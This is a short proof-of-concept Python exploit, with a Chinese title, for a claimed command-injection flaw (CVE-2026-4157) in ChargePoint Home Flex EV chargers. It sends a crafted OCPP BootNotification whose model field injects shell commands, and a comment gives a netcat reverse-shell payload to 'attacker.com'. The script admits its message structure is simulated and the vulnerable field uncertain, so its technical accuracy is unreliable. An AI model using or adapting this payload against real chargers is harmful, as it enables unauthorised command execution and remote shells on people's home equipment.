CVE-2026-4157 ChargePoint Home Flex远程命令执行漏洞

import socket import json # Proof of Concept for CVE-2026-4157 # This script demonstrates the command injection vulnerability in ChargePoint Home Flex OCPP handling. # Target IP and Port (RevSSH Service) TARGET_IP = "192.168.1.100" TARGET_PORT = 80 def send_exploit(): # The payload injects a shell command to create a reverse shell or execute a simple command # Example payload: ; nc attacker.com 4444 -e /bin/sh malicious_payload = "; id; echo pwned" # Constructing a malicious OCPP message (Simulated structure) # The vulnerability lies in how the 'chargePointModel' or similar field is processed exploit_data = { "messageType": 2, "messageId": "1", "action": "BootNotification", "payload": { "chargePointModel": malicious_payload, "chargePointSerialNumber": "Serial123" } } try: # Sending the malicious payload print(f"[*] Sending exploit to {TARGET_IP}:{TARGET_PORT}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) s.send(json.dumps(exploit_data).encode()) response = s.recv(1024) print("[+] Response received:") print(response.decode()) s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()